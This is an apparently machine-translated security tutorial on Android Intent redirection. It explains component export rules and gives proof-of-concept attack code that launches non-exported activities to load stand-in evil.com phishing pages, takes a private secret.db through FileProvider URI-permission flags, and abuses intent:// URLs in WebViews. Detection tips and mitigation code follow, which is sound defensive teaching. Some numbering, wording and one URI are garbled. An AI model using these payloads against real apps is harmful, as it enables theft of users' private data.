Intent Redirection

Non-exported component and non-exported component

Exported component (公有组件)

Exported components generally have the following three forms:

1. If the component in AndroidManifest.xml explicitly sets the component attribute android:exported to true;

2. If the component does not explicitly set android:exported to false, but its intent-filter and action exist, it is also an exported component;

3. For all App's provider components with API Level below 17, the default value of android:exported attribute is true, and above 17 the default value is false.

Any third-party App can access the exported component.

Non-exported component (专用组件)

1. The component registered in AndroidManifest.xml is explicitly set android:exported="false" ;

1<activity android:name=".WebViewActivity" android:exported="false"/>

2. The component does not have intent-filter, and the android:exported attribute is not explicitly set, the default is non-exported;

1<activity android:name=".WebViewActivity"/>

3. Although the component is configured with intent-filter, android:exported="false" is explicitly set.

1<activity android:name=".WebViewActivity" android:exported="false" >
2    <intent-filter>
3        <action android:name="android.intent.action.VIEW"/>
4        <category android:name="android.intent.category.DEFAULT"/>
5        <data android:scheme="victim" android:host="secure_handler" />
6    </intent-filter>
7</activity>

These three components are called proprietary components or non-exported components, and third-party applications cannot directly invoke such components. For example, the following code is in WebViewActivity:

1protected void onCreate(Bundle savedInstanceState) {
2   super.onCreate(savedInstanceState);
3   // ... 
4   Intent intent = getIntent();
5   String Url = intent.getStringExtra("url");
6   // ... 
7   webView.loadUrl(Url);

A third-party application directly accesses the aforementioned non-exported WebViewActivity component to load the url,

1intent = new Intent();
2intent.setClassName("com.victim", "com.victim.ui.WebViewActivity");
3intent.putExtra("url", "http://evil.com/");
4startActivity(intent);

The system will throw a java.lang.SecurityException due to Permission Denial: WebViewActivity not exported from uid xxx.

Intent Redirection

So, if a third-party app wants to access the aforementioned non-exported WebViewActivity, is there no way to do so?

Of course not! One common method, as introduced in this article, is to redirect Intent, that is, to pass an object of the Intent class as Intent's Extras through an exported component to a non-exported component, thereby achieving access to the non-exported WebViewActivity component.

The principle lies in the fact that the Intent class transmitted between Android components is implemented as Parcelable.

1    public class Intent implements Parcelable, Cloneable {

Therefore, the object of the Intent class can be passed as an extra data object to another component, which is equivalent to embedding an Intent in the Intent.

At this time, if the App extracts the embedded Intent from the Extras field of an untrusted Intent and then calls startActivity (or similar startService and sendBroadcast) on this embedded Intent, it is very dangerous; because the attacker originally could not access non-exported components, but through intent redirection, that is, using the exported component as a bridge, it can access non-exported components, achieving the purpose of launch anywhere or broadcast anywhere.

The principle is shown in the figure below:

Figure 1 Intent redefinition

Intent redirection violates the Android security design, causing the Android security access restrictions (App's sandbox mechanism) to fail.

Intent redirection may lead to the following security issues:

1. Launch non-exported components, execute sensitive operations through carefully constructed and controlled Intent parameters, and even lead to arbitrary code execution if the native library can be overwritten or replaced;

2. It is possible to obtain the access permissions of the non-exported content provider component's content: // URI to steal sensitive files.

Next, we will take three examples to illustrate:

Launch non-exported components

We continue with the above example of the unexported WebViewActivity to find out if there is an exported Activity in the App that contains an Intent redirection vulnerability. There is an exported com.victim.ui.HomeActivity component that meets the expectation.

1    protected void onResume() { 
2    //  ...  
3    handleIntentExtras(getIntent()); 
4    //  The attacker can input any intent from external input
5    }   
6    private void handleIntentExtras(Intent intent) { 
7    //  ... 
8    Intent deeplinkIntent = (Intent)intent.getParcelableExtra("extra_deep_link_intent"); 
9    // ... 
10    if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) { 
11    // ... 
12        startActivity(deeplinkIntent); // Dangerous! Open the Intent sent by the attacker
13     // ... 
14} 
15 // ... 
16}

The attacker can achieve access to any protected non-exported Activity through this exported HomeActivity; We can write an attack App that redirects the Intent sent to HomeActivity to the non-exported component WebViewActivity, so that the WebView of WebViewActivity loads the attacker's malicious link, thereby bypassing Android's permission restrictions.

1Intent next = new Intent(); 
2next.setClassName("com.victim", "com.victim.ui.WebViewActivity"); 
3next.putExtra("extra_url", "http://evail.com"); // Load the attacker's phishing website
4next.putExtra("extra_title", "test"); 
5
6Intent intent = new Intent(); 
7intent.setClassName("com.victim", "com.victim.ui.HomeActivity"); intent.putExtra("extra_deep_link_intent", next); // Embed Intent
8startActivity(intent);

Unauthorized access to content provider

In addition to being able to access any component, the attacker can also access the components of the Content Provider of the APP that meets the following conditions:

1. The component must be non-exported (otherwise it can be attacked directly, without using the model discussed in this article).

2. The component also sets android:grantUriPermissions to true.

At the same time, when the attacker implements the attack, he must set himself as the receiver embedded in the Intent and set the following flags:

1). Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION allows persistent access to the provider (without this flag, access is only once)

2). Intent.FLAG_GRANT_PREFIX_URI_PERMISSION allows URI access through prefix

3). Intent.FLAG_GRANT_READ_URI_PERMISSION allows read operations on the provider (such as query, openFile, openAssetFile)

4). Intent.FLAG_GRANT_WRITE_URI_PERMISSION allows write operations

For example, in an App, there is a non-exported file provider that saves the secret.db file in the database path under its private directory, which contains the user's login account information.

The settings of the file provider are as follows:

1<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.android.victim" android:grantUriPermissions="true">
2    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/></provider>

For simplicity, the configuration of the APP's resource file res/xml/provider_paths is set as follows

1<paths>
2    <root-path name="root" path="/"/>
3</paths>

We cannot directly access the file provider, but we can steal the secret.db file by redirecting the Intent.

Payload as follows:

1Intent next = new Intent();
2next.setClassName(getPackageName(), "com.Attacker.AttackerActivity"); 
Set the component to the attacker's own component
4next.setData(Uri.parse("content://com.victim.localfile/secret.db")); next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION); 
5// Add all read/write flags that can access content provider
6
7Intent intent = new Intent();
8intent.setClassName("com.victim.localfile", "com.victim.localfile.LoginActivity"); intent.putExtra("com.victim.extra.NEXT_INTENT", next); 
9startActivity(intent);

Accessing Any Component via WebView

通常我们可以通过调用Intent.toUri（flags）方法将Intent对象转换为字符串，同时可以使用Intent.parseUri（stringUri，flags）将字符串从字符串转换回Intent。此功能通常在WebView（APP内置浏览器）中使用。APP可以解析intent:// 这种类型的scheme，将URL字符串解析为Intent对象并启动相关的Activity。

Vulnerability Code Example:

1public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
2    Uri uri = request.getUrl();
3if("intent".equals(uri.getScheme())) {
4        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
5        return true;
6    }
7return super.shouldOverrideUrlLoading(view, request);
8}

To exploit this vulnerability, an attacker can create a WebView redirection Intent URL through the Intent.Uri method, and then let WebViewActivity load the URL. Since there is no complete verification in the shouldOverrideUrlLoading method, there will be an Intent redirection vulnerability.

1Intent intent = new Intent();
2intent.setClassName("com.victim", "com.victim.WebViewActivity");i
3intent.putExtra("url", "http://evil.com/");
4Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); 
5// "intent:#Intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
6
7// Attack code
8location.href = "intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

Methods to view such vulnerabilities

How can we quickly find such vulnerabilities in the App? We can start from the following three aspects:

1. Find the exported components in the App and check whether the component receives Intent objects from external inputs.

6. Find the call to startActivity (or startService and sendBroadcast) in the above components, and verify whether the Intent component is constructed from a trusted data object.

5. Find the call to the getExtras method of Intent, check if the return value of this method is forcibly converted to Intent; and perform complete verification before using this embedded Intent.

Vulnerability mitigation methods

So, how can the Intent redirection vulnerability be mitigated?

Method 1: Set the affected application component as a dedicated component.

If the affected application component does not need to receive Intents from other applications, it can be set as a dedicated component by setting android:exported to "false" in the manifest.

Method 2: Ensure that the extracted Intent comes from a trusted source.

It is possible to verify whether the source Activity is trustworthy by using methods like getCallingActivity.

For example:

1   // Check if the source Activity comes from a trusted package name
2   if (getCallingActivity().getPackageName().equals(“known”)) {
3   Intent intent = getIntent();
4   // Extract the nested Intent
5   Intent forward = (Intent) intent.getParcelableExtra(“key”);
6   // Redirect the nested Intent
7   startActivity(forward);
8 }

Note: Checking if getCallingActivity() returns a non-null value is not enough to prevent this vulnerability. Malicious apps can provide null values for this function, and it is best to add APP signature verification.

Method 3: Ensure that the Intent to be redirectedisis harmlessof.

It is necessary to verify the redirected Intent first to ensure that the Intent

1. Components that will not be sent to any dedicated component of the APP

2. Components that will not be sent to external applications. If the redirect target is an external application, make sure that the Intent does not grant URI permissions to the APP's private content provider.

Before redirecting the Intent, the application can first use methods like resolveActivity to check which component will be used to handle the Intent.

For example:

1 Intent intent = getIntent();
2 // Extract the nested Intent
3 Intent forward = (Intent) intent.getParcelableExtra(“key”);
4 // Get the component name
5 ComponentName name = forward.resolveActivity(getPackageManager());
6 // Check if the software package name and class name meet the expectations
7 if (name.getPackageName().equals(“safe_package”) &&
8     name.getClassName().equals(“safe_class”)) {
9   // Redirect nested Intent
10   startActivity(forward);
11 }

The App can use methods like getFlags to check if the Intent will grant URI permissions. The App can also use removeFlags to revoke the granting of URI permissions.

For example:

1// Extract nested Intent
2 Intent forward = (Intent) intent.getParcelableExtra(“key”);
3 // Get flags
4 int flags = forward.getFlags();
5 // Check that the nested Intent cannot grant URI read-write permissions
6 if (( flags & Intent.FLAG_GRANT_READ_URI_PERMISSION == 0) &&
7     (flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION == 0)) {
8    // Redirect nested Intent
9       startActivity(forward);
10 }

Reference

[1] Intent Redirection Vulnerability https://support.google.com/faqs/answer/9267555?hl=en

[2] #272044 Android - Access of some not exported content providershttps://hackerone.com/reports/272044[3] #200427 Access of Android protected components via embedded intenthttps://hackerone.com/reports/200427[4] Intent.toUrihttps://developer.android.com/reference/android/content/Intent#toURI()